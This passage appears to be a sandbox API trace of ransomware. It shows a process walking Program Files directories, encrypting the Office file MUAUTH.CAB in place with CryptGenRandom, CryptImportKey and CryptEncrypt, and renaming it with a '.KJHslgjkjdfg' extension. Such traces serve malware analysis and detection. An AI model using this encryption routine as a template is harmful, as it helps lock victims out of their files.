0xe [0143.219] CloseHandle (hObject=0x13c) returned 1 [0143.219] GetFileType (hFile=0x118) returned 0x1 [0143.219] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0143.234] CloseHandle (hObject=0x118) returned 1 [0143.234] GetFileType (hFile=0x13c) returned 0x1 [0143.234] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.235] CloseHandle (hObject=0x13c) returned 1 [0143.235] GetFileType (hFile=0x118) returned 0x1 [0143.235] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0143.235] CloseHandle (hObject=0x118) returned 1 [0143.235] GetFileType (hFile=0x13c) returned 0x1 [0143.235] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.236] CloseHandle (hObject=0x13c) returned 1 [0143.236] GetFileType (hFile=0x118) returned 0x1 [0143.236] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0143.236] CloseHandle (hObject=0x118) returned 1 [0143.236] GetFileType (hFile=0x13c) returned 0x1 [0143.237] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.237] CloseHandle (hObject=0x13c) returned 1 [0143.237] GetFileType (hFile=0x118) returned 0x1 [0143.237] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0143.237] CloseHandle (hObject=0x118) returned 1 [0143.238] GetFileType (hFile=0x13c) returned 0x1 [0143.238] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.238] CloseHandle (hObject=0x13c) returned 1 [0143.238] GetFileType (hFile=0x118) returned 0x1 [0143.238] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0143.239] CloseHandle (hObject=0x118) returned 1 [0143.239] GetFileType (hFile=0x13c) returned 0x1 [0143.239] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0143.239] CloseHandle (hObject=0x13c) returned 1 [0143.239] GetFileType (hFile=0x118) returned 0x1 [0143.239] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.240] CloseHandle (hObject=0x118) returned 1 [0143.240] GetFileType (hFile=0x13c) returned 0x1 [0143.240] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0143.240] CloseHandle (hObject=0x13c) returned 1 [0143.240] GetFileType (hFile=0x118) returned 0x1 [0143.241] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0143.241] CloseHandle (hObject=0x118) returned 1 [0143.241] GetFileType (hFile=0x13c) returned 0x1 [0143.241] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.242] CloseHandle (hObject=0x13c) returned 1 [0143.242] GetFileType (hFile=0x118) returned 0x1 [0143.242] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0143.242] CloseHandle (hObject=0x118) returned 1 [0143.242] GetFileType (hFile=0x13c) returned 0x1 [0143.242] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0143.243] CloseHandle (hObject=0x13c) returned 1 [0143.243] GetFileType (hFile=0x118) returned 0x1 [0143.243] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0143.244] CloseHandle (hObject=0x118) returned 1 [0143.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.251] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0143.251] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0143.251] GetProcessHeap () returned 0x2a0000 [0143.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0143.251] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0143.251] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0143.251] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0143.251] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0143.251] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0143.252] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0143.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0143.253] GetProcessHeap () returned 0x2a0000 [0143.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.253] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.253] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0143.253] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0143.255] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0143.255] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.255] GetProcessHeap () returned 0x2a0000 [0143.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.255] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0143.255] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0143.255] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0143.256] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0143.256] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0143.256] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0143.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0143.256] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0143.256] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0143.256] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.256] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a5b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a5b, lpOverlapped=0x0) returned 1 [0143.257] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a60) returned 1 [0143.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.257] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a60, lpOverlapped=0x0) returned 1 [0143.257] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0143.258] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.258] SetEndOfFile (hFile=0x114) returned 1 [0143.260] GetProcessHeap () returned 0x2a0000 [0143.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.260] GetProcessHeap () returned 0x2a0000 [0143.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.kjhslgjkjdfg")) returned 1 [0143.262] CloseHandle (hObject=0x114) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0143.265] GetProcessHeap () returned 0x2a0000 [0143.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xb0) returned 0x2c7fd8 [0143.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0143.267] GetProcessHeap () returned 0x2a0000 [0143.267] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.268] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0143.268] GetProcessHeap () returned 0x2a0000 [0143.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2b2) returned 0x2f32d0 [0143.268] GetProcessHeap () returned 0x2a0000 [0143.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xca) returned 0x2ed148 [0143.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.271] GetProcessHeap () returned 0x2a0000 [0143.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.271] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, 